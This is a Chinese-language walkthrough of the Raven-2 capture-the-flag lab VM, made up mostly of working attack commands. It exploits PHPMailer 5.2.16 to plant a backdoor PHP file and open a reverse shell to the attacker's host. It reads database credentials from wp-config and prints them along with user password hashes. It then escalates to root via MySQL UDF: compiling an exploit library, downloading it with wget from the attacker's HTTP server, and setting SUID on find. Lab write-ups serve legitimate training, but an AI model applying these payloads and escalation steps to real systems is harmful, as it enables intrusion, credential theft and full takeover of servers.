Raven-2
寻找靶机ip
先看看自己的网段。
ifconfig
是192.168.161段
接着用namp扫一下这个段。
nmap -sP 192.168.161.0/24
我们的靶机是192.168.161.146。
看网址内容(flag1)
我们看看靶机有什么端口
有22 80 111和43228.
进入80端口看看内容。
具有好多内容,直接dirb扫一下看看。
dirb http://192.168.161.146/
具有好多内容。
通过枚举发现了该网址。
==> DIRECTORY: http://192.168.161.146/vendor/
里面发现了好多内容。
继续枚举。
在PATH发现flag1
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
找信息
继续在这个里面枚举。
在README.md的位置找到是PHPMailer
在VERSION里面找到5.2.16
接下来就可以去找exp了。
找exp
在谷歌搜索:PHPMailer 5.2.16 exp
找到exp。
接下来去kali用searchsploit
searchsploit 40974
ok接着将这个拷贝到我们的文件夹里面。
怎么找这个exp的具体位置来让我们copy呐,输入
locate php/webapps/40974.py
接下来cp一下
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/kali/Desktop/baji/raven-2
好了成功cp。
接下来需要针对PHPMailer修改参数
41行:改下地址:http://192.168.161.146/contact.php (这个网站什么位置都行)
42行:后门名称:/qjzhalx.php
44行:改下回弹的IP和端口 192.168.161.142 6666
47行:改下写入shell的目录:/var/www/html/qjzhalx.php
改成这样就好了。
执行exp
如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:
pip install requests-toolbelt
安装即可,如果没用pip,需要
sudo apt-get install python-pip
安装即可。
接下来运行一下。
python3 40974.py
开启本地监听。
nc -vlp 6666
访问http://192.168.161.146/contact.php,此时就会生成后门文件qjzhalx.php
接着我们去访问http://192.168.161.146/qjzhalx.php
获得反弹shell
进入tty
python -c 'import pty;pty.spawn("/bin/bash")'
找寻flag
输入
find / -name flag*
找到两个flag,我们先看看flag2.txt有什么东西。
得到flag2为flag2{6a8ed560f0b5358ecf844108048eb337}
在网站打开flag3
http://192.168.161.146/wordpress/wp-content/uploads/2018/11/flag3.png
得到flag3。
我们可以用wget下载下来。
wordpress目录枚举
在flag3目录下发现了wordpress目录,然后进行枚举
一般都在config里面
直接
grep "password" -rn wp-config.php
有数据库的密码,我们进去看一看。
找到账号和密码
define(‘DB_USER’, ‘root’);
define(‘DB_PASSWORD’, ‘R@v3nSecurity’);
账号是root
密码是R@v3nSecurity
查看mysql进程信息
ps aux | grep root
查看历史安装包版本
dpkg -l | grep mysql
可以看出来是5.5.6版本。
因为mysql是root权限运行的,所以接下来就找mysql提权的方法
mysql UDF 提权
UDF 提权、MOF 提权是非常经典的提权方法!
接下来我们直接登陆mysql
mysql -uroot -pR@v3nSecurity
成功登陆。
进去之后查看版本
select version();
果然是5.5.60
看看数据库有什么
show databases;
有这四个。
进入wordpress看一看。
use wordpress
看看这个数据库里面表有什么
show tables;
看一看wp_users里面有什么
select * from wp_users;
发现了两个用户名,里面的密码被加密了。
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.
接着我们看看是否符合UDF提权的条件
show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录
show variables like '%plugin%';
查看能否远程登陆
use mysql;
select user,host from user;
发现这里root用户不允许远程登陆,因此不能利用MSF提权。
进行提权
谷歌搜索:mysql 5.x UDF exploit
找到这个。
去kali用searchsploit去搜索
searchsploit 1518.c
将这个拷贝到我们的文件夹里面
cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali/Desktop/baji/raven-2
根据文件里面的内容,一步一步操作
首先
gcc -g -c 1518.c ---GCC编译.o文件
然后
gcc -g -shared -o qjzhalx.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
得到.so文件。
接下来开一个http服务
python -m http.server 8081
开启之后,我们去弹出来的shell的随意文件夹放入我们的.so文件。
这里我进入了/tmp文件夹里面
然后我们用wget传入qjzhalx.so文件
wget http://192.168.161.142:8081/qjzhalx.so
传入成功。
上传之后,我们进入到mysql里面
mysql -uroot -pR@v3nSecurity
接着进入数据库mysql
use mysql
进入数据库创建数据表qjzhalx:
create table qjzhalx(line blob);
插入数据文件
insert into qjzhalx values(load_file('/tmp/qjzhalx.so'));
qjzhalx表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数
select * from qjzhalx into dumpfile '/usr/lib/mysql/plugin/qjzhalx.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功
create function do_system returns integer soname 'qjzhalx.so';
查看以下创建的函数
select * from mysql.func;
成功。
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');
退出mysql
exit
cd /tmp --进入我们的.so的文件夹
执行find命令
使用find执行 shell
touch qjzhalx
find qjzhalx -exec "/bin/sh" \;
或者:find qjzhalx -exec "id" \;
id
具有root权限,进入root文件夹获得flag
flag4为flag4{df2bc5e951d91581467bb9a2a8ff4425}